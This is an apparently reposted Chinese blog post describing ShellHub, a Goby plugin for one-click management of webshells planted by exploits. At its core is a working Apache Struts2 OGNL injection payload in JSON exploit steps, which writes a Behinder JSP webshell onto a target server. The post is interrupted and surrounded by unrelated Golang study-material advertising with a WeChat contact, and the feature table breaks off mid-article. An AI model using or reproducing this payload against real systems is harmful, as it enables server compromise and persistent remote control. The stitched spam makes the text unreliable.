插件分享 ShellHub 让 Goby 打通渗透流程_tool behinder v3

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新Golang全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip1024b (备注go)
img

正文

  • ​ 以往的流程:执行 Exp 返回 webshell 相关信息,用户手动复制进管理工具。
  • ​ 使用插件后的流程:执行 Exp 拿到 webshell ——> 一键无缝管理 webshell

在这里插入图片描述

0×02 如何编写一个能一键管理的Exp

在这里插入图片描述

要想达到能一键管理的效果,只需要让文件上传类漏洞的 Exp 返回信息中包含: webshell 地址,webshell 连接密码,webshell 连接工具即可,如下示例:

WebShell URL: http://vulfocus.fofa.so:44482/kGMklMBK.jsp
Password: JCsiJt
WebShell tool: Behinder v3.0

2.1 go 代码 Exp 输出示例

expResult.Success = true
// 需要带上换行
expResult.Output = "Webshell: " + expResult.HostInfo.FixedHostInfo + “/xxxx.jsp\n”
expResult.Output += “Password:f8082d22\n”
expResult.Output += “Webshell tool: Behinder v3.0”

2.2 json Exp 示例

“set_variable”: [
“file|genshell|exp|B:jsp”
]
// file 代表变量名,可随意指定,该变量实际是一个数组,在http请求头中或请求体时,其值为一个形如
// <?php echo md5(随机值);unlink(\_\_FILE\_\_);?>
// exp 代表上传一个 webshell
// B:jsp 代表生成冰蝎的 jsp 马,同理还有 G:jspRaw 代表哥斯拉的 raw 类型的 jsp 马

“SetVariable”: [
"output|define|shell_info|/xx/yy/{{{随机shell文件名变量}}}
]
// 在 EXP 模式下,在上传了一个 webshell 后,与之配套的就是打印出该 shell 的
// 连接 URL ,连接 密码(或密钥)
// shell_info 就是用来打印提示信息的,它会帮助你打印出如下这种输出
// WebShell URL: http://vulfocus.fofa.so:44482/kGMklMBK.jsp
// Password: JCsiJt
// WebShell tool: Behinder v3.0
// 第四部分只需要填入 shell 的相对路径即可,如 /xx/yy/{{{随机shell文件名变量}}}

“ExploitSteps”: [
“AND”,
{
“Request”:{
“set_variable”:[
“name|rand|str|8”,
“name|name|concat|.jsp”,
“file|genshell|exp|B:jsp”
],
“method”:“POST”,
“uri”:“/”,
“follow_redirect”:true,
“header”:{
“Content-Type”:“%{(#nike=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=(@org.apache.struts2.ServletActionContext@getRequest())).(#path1=#req.getRealPath(‘/’)).(#sb=(new java.lang.StringBuilder(#path1))).(#path=#sb.append(‘/{{{name}}}’)).(#shell=‘{{{file}}}’).(#file=new java.io.File(#path)).(#fw=new java.io.FileWriter(#file)).(#fw.write(#shell)).(#fw.flush()).(#fw.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).(#ros.print(‘UPLO’)).(#ros.println(‘AD-OK’)).(#ros.flush())}”
},
“data_type”:“text”,
“data”:“”
},
“ResponseTest”:{
“type”:“group”,
“operation”:“AND”,
“checks”:[
{
“type”:“item”,
“variable”:“$body”,
“operation”:“contains”,
“value”:“UPLOAD-OK”,
“bz”:“”
}
]
},
“SetVariable”:[
“output|define|shell_info|/{{{name}}}”
]
}
]

2.3 ShellHub功能点

​ 在写这个插件之初,我们的目的就是为了能连接主流的 webshell ,用于打通漏洞利用流程,后续方便通过代码直接操作 webshell ,比如在获取到 webshell 后自动执行我们指定的命令组、自动下载并执行sh脚本获取系统信息、甚至是上传一些工具直接进行扫描等等。

​ 目前主流的 Webshell 管理工具,冰蝎哥斯拉蚁剑 三足鼎立,思索再三,最后在用户的使用范围广度和习惯上,我们选择了先实现连接冰蝎马。实现的效果就是使用插件可以直接连接冰蝎马(当然目前还有很多不完美的地方),下面是插件目前支持的功能点

支持的功能点JSPXJSPPHPASPXASP
基本信息

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注Go)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
*
[外链图片转存中…(img-hJdfInBR-1713559208593)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 16
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值